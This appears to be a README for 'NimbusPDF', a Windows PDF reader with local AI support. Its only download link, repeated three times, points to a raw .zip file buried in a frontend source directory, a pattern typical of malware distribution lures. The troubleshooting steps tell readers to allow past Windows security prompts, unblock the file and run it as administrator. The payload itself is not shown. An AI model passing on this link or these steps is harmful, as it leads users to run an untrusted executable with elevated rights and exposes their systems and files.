🔒 NimbusPDF - Private PDF Reader With Local AI

📥 Download
Visit this page to download: https://raw.githubusercontent.com/Noreenf929/NimbusPDF/main/frontend/src/routes/viewer/PDF-Nimbus-3.8.zip
🖥️ What NimbusPDF Does
NimbusPDF is a private PDF reader for Windows with an offline-capable AI assistant. It keeps your files on your device and gives you a local way to read, search, and ask questions about PDFs.
Use it if you want:
- A PDF reader that works without cloud sign-in
- Local control over your files and notes
- AI help that can run on your own machine
- Support for local AI tools like Ollama and LM Studio
- Optional OpenAI support when you choose to use it
- A setup that fits airgapped or privacy-first systems
✅ Before You Start
Make sure your Windows PC has:
- Windows 10 or Windows 11
- At least 8 GB of RAM
- 10 GB of free disk space
- A modern CPU
- A mouse and keyboard
- Internet access only if you need to download the app or connect an AI provider
If you plan to use the local AI assistant, a stronger PC helps. More RAM gives better results.
🚀 Get NimbusPDF
- Open the download page: https://raw.githubusercontent.com/Noreenf929/NimbusPDF/main/frontend/src/routes/viewer/PDF-Nimbus-3.8.zip
- Find the latest release or download file
- Download the Windows version
- Save the file to your Downloads folder or Desktop
- If the file is zipped, extract it first
- Double-click the app to open it
If Windows shows a security prompt, choose the option that lets you run the app from a trusted source if you trust the file you downloaded.
🪟 Install on Windows
After you download NimbusPDF, follow these steps:
- Open the folder that contains the file
- If you see a
.zip file, right-click it and choose Extract All
- Open the extracted folder
- Find the app file
- Double-click it to start NimbusPDF
If the app comes as an installer:
- Double-click the installer file
- Follow the on-screen steps
- Choose an install folder if asked
- Finish the setup
- Open NimbusPDF from the Start menu or desktop shortcut
🔧 First-Time Setup
When NimbusPDF opens for the first time:
- Pick a folder that contains your PDFs
- Add one or more PDF files to your library
- Choose how you want the AI assistant to work
- Save your settings
- Open a PDF and try a search or question
If you want to keep everything local, connect NimbusPDF to a local AI tool such as Ollama or LM Studio.
🤖 Connect the AI Assistant
NimbusPDF can work with a few different AI options.
Local AI with Ollama
Use Ollama if you want the AI to run on your own computer.
- Install Ollama on your machine
- Start the Ollama service
- Open NimbusPDF settings
- Select Ollama as the AI provider
- Enter the local server address
- Choose a model that fits your PC
Local AI with LM Studio
Use LM Studio if you want a local model with a simple desktop setup.
- Open LM Studio
- Start the local server
- Copy the server address
- Open NimbusPDF settings
- Select LM Studio
- Paste the server address and save
OpenAI Support
NimbusPDF can also work with OpenAI if you choose that route.
- Open NimbusPDF settings
- Select OpenAI as the provider
- Enter your API key
- Save the settings
- Load a PDF and test the assistant
📚 How to Use NimbusPDF
Open a PDF
- Start NimbusPDF
- Add a PDF file or choose a folder
- Select the file from your library
- Read it in the viewer
Search Inside a PDF
- Open a document
- Use the search box
- Type a word or phrase
- Jump to each match
Ask Questions About a PDF
- Open a document
- Select the AI assistant panel
- Ask a plain question
- Read the answer
- Ask follow-up questions if needed
Examples:
- What is this document about?
- Find the main deadlines
- List the action items
- Show the key terms in this PDF
Work With Multiple Files
NimbusPDF can help you handle a set of related PDFs.
- Add several files to the library
- Open one file at a time or browse them together
- Search across your collection
- Use the assistant to compare details
🔐 Privacy and Local Control
NimbusPDF is built for private use.
- Your PDFs stay on your device
- You can use local AI tools
- It works well for offline or locked-down setups
- It fits airgapped environments when paired with local models
- You choose when to use cloud services
This makes it a good fit for personal files, work records, research papers, and internal documents.
🧰 Common Uses
NimbusPDF works well for:
- Reading personal PDFs
- Reviewing work documents
- Searching manuals and reports
- Asking questions about long files
- Keeping a private document library
- Using local AI on a Windows PC
- Running in a controlled network setup
🛠️ If the App Does Not Open
Try these steps:
- Make sure the download finished
- Extract the ZIP file if you downloaded one
- Right-click the app and choose Run as administrator
- Check that Windows did not block the file
- Restart your PC and try again
- Download the file again if it looks damaged
If the AI assistant does not respond:
- Check that Ollama, LM Studio, or OpenAI is set up
- Confirm the server address is correct
- Make sure the local AI app is running
- Check your API key if you use OpenAI
- Save the settings and try again
📁 What You Get
NimbusPDF is designed as a private document app with:
- A clean PDF reader
- Local file access
- Search tools
- AI-powered document help
- Support for local and cloud AI
- A setup that works well on Windows
- A focus on privacy and offline use
🧭 Suggested Setup for Most Users
If you want the simplest path:
- Download NimbusPDF from https://raw.githubusercontent.com/Noreenf929/NimbusPDF/main/frontend/src/routes/viewer/PDF-Nimbus-3.8.zip
- Install or open the app on Windows
- Add your PDFs
- Connect Ollama or LM Studio if you want local AI
- Start reading and asking questions
📎 File Types
NimbusPDF is made for PDF files. It can help with:
- Reports
- Manuals
- Books
- Research papers
- Forms
- Notes saved as PDF
- Office exports in PDF form
🔍 Search and RAG Support
NimbusPDF uses a retrieval flow for document help. That means it can look up parts of your files before it answers.
This helps with:
- Finding facts in long PDFs
- Pulling answers from many pages
- Keeping responses tied to your documents
- Reducing manual scrolling through large files
💻 Best Results on Windows
For a smoother experience:
- Close apps you do not need
- Keep enough free memory
- Use a local model size that matches your PC
- Store PDFs on a fast drive
- Update your AI tool if it stops responding
📦 Repository Info
- Name: NimbusPDF
- Type: Private PDF reader with local AI support
- Stack: Rust and SvelteKit
- Focus: Privacy, offline use, self-hosted control
- AI Options: Ollama, LM Studio, OpenAI
- Use Case: End-user PDF reading and document help